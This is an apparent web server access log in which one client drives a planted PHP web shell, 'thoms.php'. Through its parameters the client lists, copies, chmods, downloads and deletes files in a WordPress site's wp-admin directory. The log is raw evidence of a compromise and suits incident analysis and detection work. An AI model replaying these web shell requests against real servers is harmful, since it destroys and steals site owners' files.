45.135.193.11 - - [11/Sep/2026:23:47:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2Fdata-unused HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:24 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2Fweb-common HTTP/1.1" 302 0 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22915 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2Fdata-unused" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:25 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=install-helper.php HTTP/1.1" 200 14044 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=install-helper.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:24 -0400] "GET /thoms.php?p= HTTP/1.1" 200 22630 "https://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-blog-header.php&p=booking-wise2.com.tw%2Fweb-common" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:25 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=media.php HTTP/1.1" 200 12320 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:25 -0400] "GET /booking-wise2.com.tw/wp-admin/admin-functions.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:25 -0400] "GET /booking-wise2.com.tw/wp-admin/plugin-install.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:25 -0400] "GET /thoms.php?del=ms-admin.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=ms-admin.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:25 -0400] "GET /thoms.php?chmod=ms-sites.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11523 "http://163.245.207.76:443/thoms.php?chmod=ms-sites.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:25 -0400] "GET /thoms.php?del=upgrade-functions.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=upgrade-functions.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:25 -0400] "GET /booking-wise2.com.tw/wp-admin/menu.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:25 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=media-upload.php HTTP/1.1" 200 13476 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=media-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:25 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin%2Fincludes HTTP/1.1" 200 30379 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin%2Fincludes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:25 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-writing.php HTTP/1.1" 200 15479 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-writing.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:25 -0400] "GET /booking-wise2.com.tw/wp-admin/term.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:25 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=plugin-install.php HTTP/1.1" 200 14910 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=plugin-install.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:26 -0400] "GET /thoms.php?chmod=media-upload.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11534 "http://163.245.207.76:443/thoms.php?chmod=media-upload.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:26 -0400] "GET /thoms.php?del=tools.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?del=tools.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:26 -0400] "GET /thoms.php?dl=freedoms.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=freedoms.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:26 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fmenu-header.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fmenu-header.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:26 -0400] "GET /thoms.php?dl=themes.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=themes.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:26 -0400] "GET /thoms.php?chmod=edit.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11531 "http://163.245.207.76:443/thoms.php?chmod=edit.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:26 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=about.php HTTP/1.1" 200 17576 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=about.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:26 -0400] "GET /thoms.php?del=css&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=css&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:26 -0400] "GET /booking-wise2.com.tw/wp-admin/options.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:26 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fmedia-upload.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11478 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fmedia-upload.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:27 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Ftheme-editor.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11480 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Ftheme-editor.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:26 -0400] "GET /thoms.php?dl=index.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=index.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:27 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=async-upload.php HTTP/1.1" 200 14377 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=async-upload.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:27 -0400] "GET /thoms.php?del=index.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=index.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:27 -0400] "GET /booking-wise2.com.tw/wp-admin/options-permalink.php HTTP/1.1" 302 0 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:27 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=post-new.php HTTP/1.1" 200 13050 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=post-new.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:27 -0400] "GET /thoms.php?del=media-upload.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28832 "http://163.245.207.76:443/thoms.php?del=media-upload.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:27 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=admin.php HTTP/1.1" 200 16245 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:27 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=update-core.php HTTP/1.1" 200 25689 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=update-core.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:27 -0400] "GET /thoms.php?dl=admin-header.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=admin-header.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:27 -0400] "GET /thoms.php?chmod=images&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=images&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:27 -0400] "GET /thoms.php?del=install-helper.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=install-helper.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:28 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fmenu.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11477 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fmenu.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:28 -0400] "GET /thoms.php?chmod=moderation.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=moderation.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:28 -0400] "GET /thoms.php?dl=options-connectors.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=options-connectors.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:29 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-media.php HTTP/1.1" 200 14243 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=options-media.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:29 -0400] "GET /thoms.php?dl=options-media.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28763 "http://163.245.207.76:443/thoms.php?dl=options-media.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:29 -0400] "GET /thoms.php?del=upgrade.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28837 "http://163.245.207.76:443/thoms.php?del=upgrade.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:30 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fcustom-background.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11484 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fcustom-background.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:30 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=load-scripts.php HTTP/1.1" 200 12976 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=load-scripts.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:30 -0400] "GET /thoms.php?del=nav-menus.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=nav-menus.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:30 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=privacy-policy-guide.php HTTP/1.1" 200 13560 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=privacy-policy-guide.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:30 -0400] "GET /thoms.php?dl=ms-edit.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?dl=ms-edit.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:31 -0400] "GET /thoms.php?del=ms-upgrade-network.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=ms-upgrade-network.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:31 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11491 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fms-upgrade-network.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:31 -0400] "GET /thoms.php?chmod=theme-install.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11527 "http://163.245.207.76:443/thoms.php?chmod=theme-install.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:32 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=widgets-form.php HTTP/1.1" 200 19034 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=widgets-form.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:32 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=ms-admin.php HTTP/1.1" 200 12026 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=ms-admin.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:32 -0400] "GET /thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=contribute.php HTTP/1.1" 200 14047 "http://163.245.207.76:443/thoms.php?p=booking-wise2.com.tw%2Fwp-admin&view=contribute.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:32 -0400] "GET /thoms.php?del=term.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?del=term.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:33 -0400] "GET /thoms.php?dl=my-sites.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=my-sites.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:33 -0400] "GET /thoms.php?chmod=options-privacy.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11535 "http://163.245.207.76:443/thoms.php?chmod=options-privacy.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:33 -0400] "GET /thoms.php?del=async-upload.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=async-upload.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:33 -0400] "GET /thoms.php?del=plugin-editor.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=plugin-editor.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:34 -0400] "GET /thoms.php?dl=upgrade-functions.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28838 "http://163.245.207.76:443/thoms.php?dl=upgrade-functions.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:34 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Findex.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11475 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Findex.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:34 -0400] "GET /thoms.php?del=admin-functions.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=admin-functions.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:35 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fpost-new.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11467 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fpost-new.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:35 -0400] "GET /thoms.php?dl=privacy.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28831 "http://163.245.207.76:443/thoms.php?dl=privacy.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:35 -0400] "GET /thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fsite-editor.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 11479 "http://163.245.207.76:443/thoms.php?copy=booking-wise2.com.tw%2Fwp-admin%2Fsite-editor.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:35 -0400] "GET /thoms.php?del=theme-install.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28839 "http://163.245.207.76:443/thoms.php?del=theme-install.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:36 -0400] "GET /thoms.php?dl=theme-install.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28841 "http://163.245.207.76:443/thoms.php?dl=theme-install.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:47:36 -0400] "GET /thoms.php?dl=network.php&p=booking-wise2.com.tw%2Fwp-admin HTTP/1.1" 200 28840 "http://163.245.207.76:443/thoms.php?dl=network.php&p=booking-wise2.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
